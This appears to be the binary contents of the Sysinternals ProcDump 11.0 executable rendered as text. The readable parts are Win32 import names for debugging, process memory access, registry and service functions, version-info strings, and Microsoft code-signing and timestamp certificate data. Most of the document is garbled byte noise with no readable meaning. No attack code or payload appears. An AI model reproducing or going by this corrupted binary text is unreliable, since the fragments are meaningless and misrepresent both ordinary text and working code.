poppqqp2P4Pd4 p  4 2Ptd T4 tdT4 T 4 2 p `PP dT4rp% %htdT4d T 4 rpdT4p 0?y_y_yrpP0 0x y y  DBP0d4 pp 42p`PRp`0>кEк[28[ p`0&&+ h  p`0uս~սRP p`0eeageag d T 4 2p tdT 4  dT4p t dT42  t d 4 Rڕ  t d 4 Rݗ td42NĘژ td42' % p`0PP* 1 p`0PPp 4p ` P% %4#%p`P' ' p`0PP( d T 4 2pBBBB`pp0P+  p`0PPtd4P td4P!4pl!pl d T 42p t d T 4Rd T 4 Rpb' d4 p PP@dT4 p3 "t"d"4"PP+ dT4pP@T4 p `2 !d!4! p PP! !d !T !4!2p+  p`0PP42 p42 pFP42 p 4 p ` P dT 4 RpR0,H.4  P,p̆- R0i,, -42 p-,6, dT 4 rp2044d4 pN5,62R0 t d 4 R9:Kd42pt d 4RS88Kt4 P  rP42 pJ<<4 p `<=d42 p== t d 4 2uAA t4. d4 p PP  4 P- 5td 4 3 rPP842 pjNtN t"d!4 P( d'4$  p PP D p`P0!C! 4R p ` P d T4p0 4zp p`PPp   4 Rp d T 4 2pd42 pd 4R p  4 rp td4P 4R p`P t d T 42 T4 R p ` 4m hpP0 dT4rp p ` 0 P 4r p`Pd 4 rpT 4 rp`  r04 r pt d 4 R4 R p}20.G4 R p`P td4 b,42 p d T 4 Rpr P b,42 p'42 pYcBd 4Rp;BJ\\  20d 4  p t d T 4 R dT4p tT 4 t4 PT4 rp`4 p`PP@  20  P  rP42 p42 paw42 p42 p!/20$$K tdT4t  4 Rp,,   4pb42 p071$  p`0P4R`Q;;>3 %4" p`Ph*3- T4 p `P@1 T4 p `P`/ 4  p`PP@ 4 2p`P4 R p?"?d4 p- Utd4S PPX(td4PPp20\LL d T42pdT 4 p42 paQQ$0 4bX p`PP% T4r p `P8r0d42 p`Lao% %dS%4R%NpP+t4 PPp4 r pY8[U d4r pmNnnn42 pkl2 0T42`- 5td43 PPX  4 2pvv+  p`0PP T4 R pd T42pd T42p  B4R`> 4 p ` P T4R p ` 4R p`Ptt d4 tdT 4 r' 't!'d'4'P  4 p_rPT 4 R p `T42 p d T 4 Rp P!( ( tdT4@@!@@  hr p`P0P0 d 4 2 7@:@& h  p`0PP0  ht d42P d 42 p:0  4 2p-`p`^0* f^80*e^0*в0X+ _+`_0+^^H X" x  P 8 N(   v ^ F 2 "         b R D 8 . l 4H`p"8JXt & D ` r        & 4 B V f z         pV<0$vhTH6( ~lZD4" 2Nv0BR^lz   < J V d (        ~ jP  < nXGetFileVersionInfoSizeWGetFileVersionInfoWVerQueryValueWVERSION.dllOStrStrIWSHLWAPI.dll"OpenEventWCreateEventWdSetLastErrorBGetVersionExWLoadLibraryExWGetCommandLineWGetStdHandleLocalAllocGetProcAddressLocalFreeGetModuleHandleWjGetFileTypeGetModuleFileNameWLoadLibraryWIEnterCriticalSectionLeaveCriticalSectionHSetEventCloseHandleWaitForSingleObjectSleep#DeleteCriticalSectionK32GetModuleBaseNameWReadProcessMemoryK32EnumProcessModules,GetTickCount2GetCurrentProcess WaitForDebugEventInitializeCriticalSectionDebugActiveProcessStopResumeThreadContinueDebugEvent.OpenProcess}GetLastErrorCreateThreadDebugActiveProcessCreateProcessWFreeLibrary|ExpandEnvironmentStringsWMultiByteToWideCharFormatMessageWSetConsoleCtrlHandlerTerminateProcessuGetFullPathNameWWaitForMultipleObjectsTGetEnvironmentVariableAaGetFileAttributesWK32GetProcessImageFileNameW CreateToolhelp32SnapshotPProcess32NextWNProcess32FirstWGetSystemInfo+GetCurrentDirectoryW3GetCurrentProcessIdSystemTimeToTzSpecificLocalTimeGetSystemTimeDebugBreakIsDebuggerPresenthGetFileSizeExCreateFileW(DeleteFileWReleaseSemaphoreGetProcessIdGetThreadContextUSetFilePointerEx1GetTimeFormatWxExitProcessCreateSemaphoreW=GetDateFormatW5OpenThread3DeviceIoControl6GetCurrentThreadVirtualQueryExKERNEL32.dllGetSysColorBrushNGetDlgItem,SetCursorYLoadCursorWDialogBoxIndirectParamWSetWindowTextWEndDialogSendMessageW InflateRectgLoadStringA EnumWindows6IsHungAppWindowNIsWindowVisibleGetWindowThreadProcessIdwsprintfWUSER32.dllEndPageStartDocWSetMapModeGetDeviceCapsEndDocStartPageGDI32.dllPrintDlgWCOMDLG32.dllRegQueryValueExWRegOpenKeyWdRegCreateKeyWRegOpenKeyExWRegSetValueExWXRegCloseKeypRegDeleteValueWaRegCreateKeyExWlRegDeleteKeyWOpenProcessTokenAdjustTokenPrivilegesLookupPrivilegeValueWEnumServicesStatusExWOpenSCManagerWeCloseServiceHandleADVAPI32.dll CommandLineToArgvWSHELL32.dllCoUninitializeaCoInitializeEx+CoCreateInstance#CoAllowSetForegroundWindowCLSIDFromStringole32.dllPdhCollectQueryDataAPdhGetFormattedCounterValuePdhAddCounterWWPdhOpenQueryWpdh.dllRtlCaptureContextRtlLookupFunctionEntryRtlVirtualUnwindUnhandledExceptionFilterSetUnhandledExceptionFilterIsProcessorFeaturePresentInitializeCriticalSectionAndSpinCountResetEventWaitForSingleObjectExGetStartupInfoWpQueryPerformanceCounter7GetCurrentThreadId GetSystemTimeAsFileTimeInitializeSListHeadRtlUnwindExRtlPcToFileHeaderRaiseExceptionEEncodePointerTlsAllocTlsGetValueTlsSetValueTlsFreeGetModuleHandleExWGetConsoleCPSetStdHandleKWriteFileGetCommandLineApHeapFreelHeapAllocFlsAllocFlsGetValueFlsSetValueFlsFreeCompareStringWLCMapStringW7WideCharToMultiByteGetConsoleMode+SetConsoleModeReadConsoleInputWReadConsoleWFlushFileBuffersGetConsoleOutputCPReadFileFindCloseFindFirstFileExWFindNextFileWIsValidCodePageGetACPGetOEMCPGetCPInfoSGetEnvironmentStringsWFreeEnvironmentStringsWFSetEnvironmentVariableWGetProcessHeapGetStringTypeWuHeapSizesHeapReAllocJWriteConsoleWBSetEndOfFile] f2-+    P#@"@"@"@"@"@(@%@P'@@!@P#@C R(@ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`y!@~ڣ @ڣ AϢ[@~QQ^ _j21~()@@@@@@@@@@@@@@@@@@@,)@ @@ @@ @@ @@ @@ @@ @@..u@.?AVlogic_error@std@@@.?AVlength_error@std@@@.?AVbad_exception@std@@@.?AVbad_alloc@std@@@.?AVexception@std@@@.?AVbad_array_new_length@std@@@.?AVtype_info@@@.?AVCCorDebugManagedCallback2@@@.?AUICorDebugManagedCallback@@@.?AUIUnknown@@@.?AUICorDebugManagedCallback2@@@.?AUICorDebugUnmanagedCallback@@@.?AVCCorDebugUnmanagedCallback@@@.?AVCWerReport@@( B(Pr(EP6@CP$4H \ ll@P`t  ##  B! P!w!(!!0":"(@""@""H""\"#l##|#$$$$ $ $c$p$$$%%%%7%7%%%%%L&P&t&$t&'4''X'8(@((h(.)|0)1 1]4`45566667788808$9@$9D9dP99t95;5;T;`;;;<<== = ===)>)>>(>><>>L>>\?1?l1??t????(?1@1@H@P@s@@s@RARA]A`AAA+B+B7B@BBBBB CCD0DDDPDDDDD.E0EEEE0EYGHYGG\GGlGGG.H0HnHpHHHHI>I@I~IIIIIJ>J@J~JJJ0J\K|\KKKKK.L0LL0LLL.M0MnMpMMMrNNNNNO>O@OOOOOOP?P@PPPVQVQRRSSSST(T1T8@TTTTTTUUHUTVH`V#WT0WWWW`WsXlsXXXJYPYYYZ0ZZZP[P[J\0P\\0\ ]0];]|;]]]]^2^`^^_ _ _\_`___``y`y`a$abDbbTbbbggg(hOj0PjZk0`kwwox0pxxx*|4*|F|HF|g|Xg|n|Hn|}X}~l~~~~~~~~~RR((??7(@8a`aЕpЕ=@ЖЖEExȘИ$@(EPEJdPt6@|ЛЛƝН eew8HPH ` =h=GPlBB ~$~8HXSpS۬۬9@nn(0 ; ;_ _4$H$8X@S`hp˵5@(@ййݹݹq @(@u߽;|@( (DX:h:X|yl**BP$l$8P O`Pt$$DDssl 1@,:@H x >> '$0 <CP7(@O(O\p q[`;;4#4#M#P##0$$$~%%%&&&&'.)0)x****S+`+++++k0(p01l 1222x222L3L3^3^3}3}3334 4z4z444 55n5 n55455H58X89T9<<<=3=3=====>>F@F@V@,`@)A<0AATB Bl BDxD D DRDRDDDbEbEEEEEE(EFFF FH,IKDLLpLMM7M7MMM-N-NAOAO[O`OPP@P@PkP kPPPQQQQQ,QRR/R</R>RP@RdRR~StST`T#Ul#U(UWW0X\X\XLZLZ^Z`Z}[0[[[[[?\?\O\,O\P\<P\\L\\X\R]pR]\]\]d]p]]]]]]]^^&^&^.^0^^^^^_ _(_((__$_ `8 `/`8/`:`LP``\`ctcd ddeeef  f\f\fffffffggg(ghhhhhhIiLiiiiiiijjj(jjjXkXkkkl(lglhll(lll{m|mn n8n8nandnnnn(nvoxoo(oo(o qH q2q(4qTqdqrr s( s{ss,u8uuvv(8vtvtvvvxxyyiy|lyyyzz{({{0{{({||}}Y8\_`D~Ӄԃ((,,Tsht<(ʆ(̆ֆ(؆eh<wt(͌(ϐ(А(0((?(@ixĒ*, HtuxIL!$ 9<+,il||в ,|h>0@9<ҾԾdĿL8<@ RTD!$jli0`h&p0wx%(ephL,HH4]`c,dm,ps,t},,,.t0t ttpleDhD,m,p?,@,,wXx%X(X ` 8104|>|@x0x0f 0h !(!!!x"x"U#X#|$|$%%&&((** ,,H,PH,-0---..1.(4.../($/C0X000g1011(1!3t$3=4@44444<6777888 899::;;)<(,<<d<====I>\L>>>?L?@X@L@(L@@(@AABBB(BBCeChCCCJDLDD0DEEF4FdGdGGXGGXGG(8H~H(HIIIIJJKKL@MOMPMLN0LNNhNsO0tOPPQQ2R4RRRSS/[`0[kHkOmPmPoxPoqqqtttttt~utuutuvtvwXwyXy~,~BDBD34Ջ؋hhFH h _0`0R0T!X$]X`  kl8\<0TuTxxx00$H2h40VXHHll0|@D((=@L WX~4b dh1\4 ( &((c(dL(;<wx((HX  C(DT(T7(L( a\d(R`/(8bd(08<JtIL p    T   FH^`EDH,LVpAhD D<;< 0   |!0|!:"0<"u"(x""("##$$$$%%X%t%%%+&,&&&`(D`((())4*04* + +}++++++,,,,--.(.../ ////(/>0@0000(0K1L111U6xX6Z7\7u8x899:L:;L;>4>/?(0?@@AA^CCRDLTDDHDG\GHLHIIJ JJJ{K|K/L0LDL(DLLLMMPPDQDQQQ}RRSLSS0SWWrY|YJ[L[[X[d\d\K^L^``ta`taa(aa(ad8@eee@i@i/j,8jjjj(jk0kkkl lJlllnnoDo`p<`pppqLq_s\sbuuu<uv(vwwiwlw>UUoo::fp(RN[ItWEpSAێԎ͎ƎukaW|ung`YRKO v`8uaM9%}iU2+ 8Ph  P}P4VS_VERSION_INFO StringFileInfo040904b0h$CompanyNameSysinternals - www.sysinternals.coml"FileDescriptionSysinternals process dump utility*FileVersion11.02 InternalNameProcDump=LegalCopyrightCopyright (C) 2009-2022 Mark Russinovich and Andrew Richards: OriginalFilenameprocdump2 ProductNameProcDump.ProductVersion11.0DVarFileInfo$Translation  ` 0@HPXpxȦЦئ (0HPX`hpx@HPد 0@P`pР 0@P`pС 0@P`pТ 0@P`pУ 0@P`pФ 0@P`pХ 0@P`pЦ4 08@HPX`hxȤؤ (08@HPX`hpx (08@HPX`hpxȦЦئ (08@PX`hpxȧЧا (08@HPX`hpxpxȬЬج ȪЪتXhxȫث(8HXhxȬج(8HXhxȭح(8HXhxȮخ(8HXhxȯد0<(8HXhxȠؠ(8HXhxȡء(8HXhxȢآ(8HXhxȣأ(8HXhxȤؤ(8HXhxȥإ(8HXhxȦئ(8HXhxȧا(8HXhxȨب(8HXhx@TХ 0@P`pЦ 0@P`pЧ 0@P`pШ 0@P`pЩ 0@P`pЪ 0@P`pЫ 0@P`pЬ 0@P`pЭ 0@P`pЮ 0@P`pЯP 0@P`pР 0@P`pС 0@P`pТ 0@P`pУplHPX`hpxȩЩة (08@HPX`hpxȪh8@HPX`hpxȨШب (08@HPX`hpxȪ(h(08@H dȡ(Hxآ8ȨШب 0Xث(XȬ'0' *H 'x0't10  `He0\ +7N0L0 +70 010  `He :W7 _Ǩxx4ԋ鏝-莙à v00ܠ3˷u9qB60  *H  0~1 0 UUS10U Washington10URedmond10U Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110 220512204559Z 230511204559Z0t1 0 UUS10U Washington10URedmond10U Microsoft Corporation10UMicrosoft Corporation0"0  *H 0 qѩs!b5A|rob|CGuc֑@š]T Jnjv KsinjsHKȴiye98#SYw[6Mj>gi>(lxScAv9Fc340EJH"0?rDRμ \ճD}úi07 {k_F؎erk>J :́[iI}}k_OQLNɻ?s0o0U%0 +7L+0U#KwXYh0EU>0<:0810U Microsoft Corporation10U 230012+4705280U#0HndPӂ77"mu0TUM0K0IGEChttp://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl0a+U0S0Q+0Ehttp://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt0 U00  *H  UeCtIfs${z8q8toXkf5ZgjZv0նѕ%_my( gɘ<^qHsѼ&D :Hx8^s5ZrJIԒh B}v Xd^G8aev2ݷ|w޽s$AI\ nuO,Sx#.ƭ?fC/YCgG![^>.0z0b a0  *H  01 0 UUS10U Washington10URedmond10U Microsoft Corporation1200U)Microsoft Root Certificate Authority 20110 110708205909Z 260708210909Z0~1 0 UUS10U Washington10URedmond10U Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110"0  *H 0 r.nM4X!B*kZP8I 7k 8™91BӉ yd~`$lIh^ߛS ,ï٩+z זY`fv2R&/PϳD].uhm:\F8dnd5xc-@ \yI) w=+ZMV(zr:I^C{{>]O/Y;-3Xŷ>2ӳ=8~ҝ,NV!5%9ndS#_R!t%_('(8%9J6|#faj(I_%]!K>RĵW?$z[/#p]QFwἬ_UK9#ID|Erzr$߿FWۃMI0[ݰf{KI)(}gbx_/W\w((m(,@7OD LԥC/tnx X,]`>O3ڰޞNFlֈ 00 +70UHndPӂ77"mu0 +7  SubCA0 U0U00U#0r-:1CN1#40ZUS0Q0OMKIhttp://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^+R0P0N+0Bhttp://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0U 00 +7.00?+3http://www.microsoft.com/pkiops/docs/primarycps.htm0@+042 Legal_policy_statement. 0  *H  g򆥘Ty.tg" cB}y e_.,>rm? ;Gic"5]e}FPU |K.)=Եw9dD=xz#}t&F*Š hh.*?*kXIc inZF+;н5n%'(M= 2-[I9 ƭQEX82q'',: iYhnot@*(>?Mf Mo}Ev@*e]Rbc6'ͥ]cA[>wuaaA(e/\֡FY KH)ű?Ew5Ңzz"HG#kKux7yKֳ#hu i;0Lumc=ѝVNOW"x2!zA ?̤]WqVNHEBɛv[ HkymmjRs zP1000~1 0 UUS10U Washington10URedmond10U Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20113˷u9qB60  `He0 *H  1  +70 +7 10  +70/ *H  1" jBz~f5OŭBj Ŧ0D +7 1604Procdumphttps://www.sysinternals.com0  *H -\]TI BAe?6s f2@n $=>*|ձ`GIf\¹ G+<͠)ET+n 300D.cE M〸XI"`޸yxb?^gHۢXD׀7ŎZ#HBKzm2ERn3ޏt6XK~@sofg]^Xh,| 0 +710 *H 010  `He0U *H  D@0< +Y 010  `He @,4sS{%b{=\c*"20221018174943.325Z0Ԥ01 0 UUS10U Washington10URedmond10U Microsoft Corporation1)0'U  Microsoft Operations Puerto Rico1&0$U Thales TSS ESN:F87A-E374-D7B91%0#UMicrosoft Time-Stamp Service_003 \40  *H  0|1 0 UUS10U Washington10URedmond10U Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100 220302185137Z 230511185137Z01 0 UUS10U Washington10URedmond10U Microsoft Corporation1)0'U  Microsoft Operations Puerto Rico1&0$U Thales TSS ESN:F87A-E374-D7B91%0#UMicrosoft Time-Stamp Service0"0  *H 0 !5 -sc`y#'>K?G}`kx6+:}FRt3"y>Bb3mJb]t'|,JrOdk2fɛt+cCwD|k1N654NO) i0I *$\ʳ JRGK 1-Ll͛FC7$PԒ ꁔ] :n0ijT8rq۱>Z6h~H=atwLU6%Izw&m7.\^L8ՈOC;~DŗxW+ȲrBxX\rCs~,h<[`nCM"/HYe4M7T*(E0ɭb0B]<&v5K@8+X45E%~&Ly(Vs5W xUa<D6sb356020U0o߿(`td:aQ0U#0]^b]eS5r0_UX0V0TRPNhttp://www.microsoft.com/pkiops/crl/Microsoft%20Time-Stamp%20PCA%202010(1).crl0l+`0^0\+0Phttp://www.microsoft.com/pkiops/certs/Microsoft%20Time-Stamp%20PCA%202010(1).crt0 U00U% 0 +0  *H  ]UD<3!sp&jcTRB؇O[D5$ؚy5UⵆPŪǁVI:o) 6o4'?Z"f5${/@gcLeKFY09YT>_ 7Zj[ؾv_jŸ(`LG:mBmnq;nRTmꠂd3uAzEj#a8އΘ++wȹR8 B[ JkȦw7Z2)SĩVp7$Ge+#Hq%2vC0Xgcg6m@kdcRg!mJk lbaUjR?طmGCx291|I0q0Y3kI0  *H  01 0 UUS10U Washington10URedmond10U Microsoft Corporation1200U)Microsoft Root Certificate Authority 20100 210930182225Z 300930183225Z0|1 0 UUS10U Washington10URedmond10U Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0  *H 0 Lr! y$yՂҩlNu5WlJ⽹>`3\OfSqZ~JZ6gF# w2`}jRDFkvPDq\Q17 8n&S|9azĪri65&dژ;{3[~Rb%j]SVMݼ㑏9,Qpi 6-p15(㴇$ɏ~TUmh;Fz)7EFn20\O,b͹⍈䖬Jq[g`= s}AFu_4 }~ٞE߶r/}_۪~66L+nQsM7t4G|?Lۯ^s=CN39LBh.QFѽjZasg^(v3rק  co 6d[!]_0tعP a65Gk\RQ]%PzlrRą<7?xE^ڏriƮ{>j.00 +70# +7*RdĚhttp://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0  *H  U}*,g1$[rKo\>NGdx=139q6?dl|u9m1lѡ"fg:SMݘx6.Vi {jo)n?Hum m#TxSu$Wݟ=heV(U'$@]='@8)üTB  jBRu6as.,k{n?, x鑲[It 쑀=J>f;O2ٖtLrou04zP X@1Q{p( 6ںL 4$5g+ 挙"'B=%tt[jў>~13}{8pDѐȫ::bpcSMmqjU3Xpf0;0Ԥ01 0 UUS10U Washington10URedmond10U Microsoft Corporation1)0'U  Microsoft Operations Puerto Rico1&0$U Thales TSS ESN:F87A-E374-D7B91%0#UMicrosoft Time-Stamp Service# 0+ggrOZ㠁0~0|1 0 UUS10U Washington10URedmond10U Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100  *H 40"20221018120716Z20221019120716Z0w0= +Y 1/0-0 40 d0e0 .06 +Y 1(0&0  +Y  0 00  *H jsaK5C4 b^ed=inHNumV% Y19^MN,iX z7L _}~<=yriDΞ2-S[Ͼԁkr`^Zٶ|1 0 00|1 0 UUS10U Washington10URedmond10U Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20103 \40  `HeJ0 *H  1  *H  0/ *H  1" dIN:Qz.d餓.,Dٖef*a0 *H  /1000 I(>ZOf5<:4nCHRoh00~0|1 0 UUS10U Washington10URedmond10U Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20103 \40" ^-XG`1T[*tY 7C0  *H  bE.^$[bIJHᡚF\$+̶"7{RZ$޺c@kŅ%2QElcC: :÷7ӥ戊2 s3j'±A}C5;ih;gLe(KD-p+xLL (C qQZZ=o焟^k86c#rDX6/P<# ن*\Tpy&pu}ψ}Ȃ! &#qɾEmi{lPwgnܕo=: X)^ijIQa4^D= Jdˑ 1:5O33,r.ǪE$-mJdkc?iJ]yT>'pל& A v4Qlf}7e}Jgՙa{m͓ b`W=N#If3'j`Bi{ d\GBUk\hgP4VS_VERSION_INFO StringFileInfo040904b0h$CompanyNameSysinternals - www.sysinternals.coml"FileDescriptionSysinternals process dump utility*FileVersion11.02 InternalNameProcDump=LegalCopyrightCopyright (C) 2009-2022 Mark Russinovich and Andrew Richards: OriginalFilenameprocdump2 ProductNameProcDump.ProductVersion11.0DVarFileInfo$Translation  0*0/0J0O0a0000001101?1X1t1111111111122)2=2D2223,3}444555r5566!686S6x6666*7h7t777778"8l888888J9W9\99999:0:9:Q:i:::$;4;;;Q;V;j;;;6<<<-=a=========D>[>>>>>>>??-?7?Q?_?????? 0 00:0D0I0N0g0z001111_2222 333*3<3N3e334=4Q4o4t44444444J555555|6666666+7W77777778 88'8G8N8\8c8j8888888999n9999-:3:h:o:::; ;;/;:;?;;;;;;;H<>^>>>>?!?W???????00T0`0k0p0000000000 1@1K1V1112F2222222233R3^3i3n33333334<4U4n44444 5B5{55556A6c6|66666-7F7T7Y7777777777*8L8R8Y8^8c8i8p88888888889"9g9999:5:B:J:[:}:::::::;k;p;~;;; >>??@500z1(22[3b3m33346444545Z55555566%7f77778M8888888 9?9}9999999:D:t::::;D;t;;;<&:>t>>>?5???P$0T0000 11b1v1112223H4[4n44444445D5]5555555686=6M6W6]66666666F7V77778%8I8O8j8s8888;9C9L9m999999999 ::!:1:Q:m:s::::;-;3;O;o;;;;<<<<<<%<*<~<<<<<>B>G>Q>v>>>?9?I?x????????`0112J22223233344I5P555555 6"6:6R6j666666707B7777777778&8,8M8888888]99f::J;^;i;s;;;;>>>>>>?2?????pm00000 1I1!2;2V223341444455Z6`6666778$8.868;8d8h8l8p8t8x8|888889999$9.9[9b9g9q9{99999999999999::P::;;0<4<8<<<@T>>>>>>?? ?)??????????0000Y0w0}000'1H1O1q111112'2b2i2n2t2z223[3B4V4\4j4x44444445'5H5O5b5x555566)6?6V6u6{666666666667 7G7W7]7j7o77777777777788 88!8,848;8D8L8W8]8j8o8w8888888888889 99 9?9G9U99999999999: :.:J:b:m:s:}:::::::::::;;!;0;B;d;s;;;< >>>4>x>>>>>>>>??C?O?r??????????00 0000$0)000o0000.1E1112262>2O2223;3n3|3333344L4R4`4m44445M5X5w5555555/6=6D666667'7-7F7p7777778!808B8d8s88889 99(9R9n99999:5:F:K:d:u:z:::;X;];g;v;;;;;W<<<<X>\>`>d>h>w?}????????0%0M00,1=1N111111122J2O2Z2223%363w3333333 4G4S4444444545=5B5H5O5T55555556W6]6e6~66666666666666772797T7X7\7`7d7h7l7z777777777788^8t88888888829<9A9M9S9a9m9u999999999:&:.:B:I:c:i:{::::::::;$;6;Z;c;h;;;;;;;;; <<8<@>(>.>?>K>V>]>f>k>u>>>>>>>>>>>>>>>>>???? ?'?3?8?D?K?Q?[?`?t??????000"0,020I0Q0W0k0x00000000000001 111181D1J1S1]1z11111111122(2.252a222222223q3333333333344&404?4T4c4r444444444444444444555!5)50595?5I5S5]5g5r5z5555555555555556 666!6+656?6I6P6Z6e6667*7D7W7i7777777777s8888888888G9[9b9~9999999!:+::::::: ;;#;0;Q;z;;;;;;<%<+<:>&>3>@>M>Z>g>t>>>>>>>>>>> ???&?+?5???I?S?]?g?w?????????????000#0-070A0K0U0_0i0s0}00000000000000 111'111;1E1O1Y1c1m1w1111111111111111122222$2+22292@2G2N2U2\2c2j2q2x22222222222222233!3+353K3U3e3o333333333334 44%454?4O4Y4i4s44444444444 55!515;5E5R5Y5`5j5q5x55555555555555569[;;;;;;;;;<< <%<0>>6>E>d>{>>>>>>> ??.?E?X?e?r?????????? 0x0000112+2m2}2222222223303G3^3u33333334-4D4[4r44444445*5A5X5o55555556'6>6U6l6666666 7$7;7R7i7777777 8!888O8f8}8888889959L9c9z999999::2:I:`:w::::::;;/;F;];%<8D?W?j00011f1~11111122&2C2Z2_2223(3/3=3O3e3o3t33Q4e4l44444444455$5.535d5x55555555556#6+656:6p66666666667!7*727<7A7j77789::;*;I;f;x;p<<=?=92I22=33333334 44F455v5555V6n6666666647:777*8s8}8Y;;;;FG>>>[?h?n?s?x?}??????????????? 40:0@0F0O00000000001#1.1^1j1s111112+262N2z22222222*303G3R3333333444G4R4j4}4444444"5'5,545E5J5Y5f55666777888889999: :;:::: ;K;;;;;;;* >>S>l>r>>>>>>> ??H?W?a?x???????@DZ0a0000000001 1(1.181A1F1M1R1`111111.2m22222223338444444 55-53595P55555556 666#6*6/696U666666667"74787<7@7D7777778=8q8888888899 9R9e9t9y999999 ::::;;;;;<<<<<<<===!=(=d=h=l=p===>>*>;>_>>>>>> ???$?j?p?|???????????P0 0000$0.0<0M0T000000001121u111111 2222=2K22225579::::;;-;8;g;q;|;;;><>Y>c>>>>>>?'?[?k?~????????????????`l0 000!0-060;0A0K0U0e0u0000000000000011111'12171=1G1Q1d1i11112<2Y2_2d2j2u2{222222222222222333%3/3>3F3R3c3j333333333333334 444%4,4444 553595?5E5K5Q5W5l55555566G6Y666Z7777777788999 :,:k:q:::::;;;;;;<<=T=======> >>#>7><>O>>>?p`A1X11114222{456f7899C:w::::: ;P;;;P<1=R=`=f========>'>3>>>q?|13S4677 7G799;;<<*=1=Z=v======= >>G>Q>q>{>>>>>>>>>>>??(?-?2?M?W?c?h?m?????????8d0w000Q22222222;3@3D3H3L3555N6689<666V7789999:'::::&;<>>>>>>>>?T000000001222222333*5.52565:5>5B5F55f7j7n7r7v7z7~77;>?,26666666,77A=Z===???b555555566"6:6A6M6e6j6v6{6666x777777777 88:8z8888888899939J9m999999999:$:*::;]<>>>> ???q?????????00%141B1_1g1111112E2L2U222222 383D3v3333424c44 5557#808888g9999~;;;<<<?0t1J689;=9>>M? ? \0>0F000111122333344N4W445555555555566666666770<=!>&>+>F>K>P>@ 3556 69J;R;;;?P"2*2a2h25V7^777;`Hk8r888888888a::::::::::::;;;";&;*;.;2;6;:;p::; ;$;(;,;j?p111 22:2Q2l233*444:4@4N444457'7@7J7~778w99999999::n::k;;8 >>5>N>S>l>}>>>>>>>>>>>>?4?\?v?{?????????8 000000011;;;;;<8=>> ?*?M?W?~??$35k88 <<==>>X>>>>?$0.040001a111_2u23334&4E4s44444445/5?5L5p5w5555556!6B6i6~66666667J7|77788J8m88889A9H9S9a9h9n999:%:@:E:J:Z:_:d:t:y:~:::::::;";C;P;e;n;w;;;;;;; =C=H=f=u=======><>S>\>s>>>>>>>>?????r1111111111122"2@2F2\2b2n222222223t3333424445g5566 767Y7m77!8K8]8g8889=9d99:&:M:l:(;X;;;.>H>>>>>H#0W0|0D122]3r33I455568X8v8829::I;_;???\u000/13x445)8859W9`9z9q:::;a;h;o;v;;;;;;;$<7<\<<>>3?M?_?????00 000+090O0000m11123I3333*4H4V4]4s4}4Q5566667777,8d8|88889999*9{99999::::-;;;;;;;<<(<: ???,01>1n11 2$2D22359z:::::'2/2f2m2<6C7K777B; t11-2V2222G3k3 4-4X4@5556N66O7m77778b88889G9d991:T:V;o;;;;<5???0@F23R455 6616<666717a77777188;s<='>\> ??@%001<11"2b2344H5N5[5f5v55%676I6B77778(838@8R88879L9U9^9999c;i;n;u;;;;;;;;;3>=>>>9?A?I?Q?Y?w????P0 00900000000 2>222222@33 4>44&5555;6<7L7]7e7u777778A8P8\8k8~8888,959>9G9r999'::-;;;> ??'?`H 3#4S477-7K7_7e7-8`8q99"<<<4=A=z==2>a>>>!?D?d??????p,0<0R0~000000011(1[1e1n1t18233 333 3$3(3,30343H3L3P3T3t3x3|33333333333333D4H4L4::::::::::::::::;;;; ;(;0;8;@;H;P;X;`;h;p;x;;;;;;;;;;;;;;;;;<<<< <(<0<8<@>>> >T4X4\44(90989<9@9D9H9L9P9T9\9`9d9h9l9p9t9x9999999999999999999999990:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:::::::::::::::::::::::::::::::;;; ;;;;; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;;;;;;>>>>??? ????? ?$?(?,?0?4?8? >>>$>,>4><>D>L>T>\>d>l>t>|>>>>>>>>>>>>>>>>>? ???$?,?4?>>>>>>>>>>>>>>>>???? ?(?0?8?@?H?P?X?`?h?p?x?????????????????x0000 0(00080@0H0P0X0`0h0p0x000000000000000001111 1(10181@1H1P1X1`1h1p1x111111111111111112222 2(20282@2H2P2X2`2h2p2x222222222222222223333 3(30383@3H3P3X3`3h3p3x333333333333333334444 4(40484@4H4P4X4`4h4p4x444444444444444445555 5(50585@5H5P5X5`5h5p5x5555????88888888888889 999$9,949<9D9L9T9\9d9l9t9|9:::::::::::::::::::::::::;;; ;;;;; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;l;`h6666666666674787<7@7D7H7L7P7T7X7\7`7d7h7l7p7t7x7|777777777777788888 |22222@3X3444 4$4(484<4@4H4`4p4t44444444444445 55 5$5,5D5T5X5\5`5d5h5p5555555555 66664686P6T6X6l6p66666666666677 7 7$7(7,7@7D7H7L7P7X7\7d7|7777777777778$84888<8D8\80?P?\?|??????????00000<0\0h0000000010181@1D1L1`1h1p1x1|11111111 22,202L2P2p2x2|22222222334383@3H3P3T3\3p3333334484X4x44444585X5x55555556 6X6x666666787X7x77777888X8x88888994989@9D9H9P9d9l999999Pd1H1X1h1x111111112@7D7H7L7P7T7X7\7`7d7p7t7x7|777778 9,9L9h99999:,:T:::'0' *H 'x0't10  `He0\ +7N0L0 +70 010  `He ,_X ;b_vLC~M|2C͠ v00ܠ3˷u9qB60  *H  0~1 0 UUS10U Washington10URedmond10U Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110 220512204559Z 230511204559Z0t1 0 UUS10U Washington10URedmond10U Microsoft Corporation10UMicrosoft Corporation0"0  *H 0 qѩs!b5A|rob|CGuc֑@š]T Jnjv KsinjsHKȴiye98#SYw[6Mj>gi>(lxScAv9Fc340EJH"0?rDRμ \ճD}úi07 {k_F؎erk>J 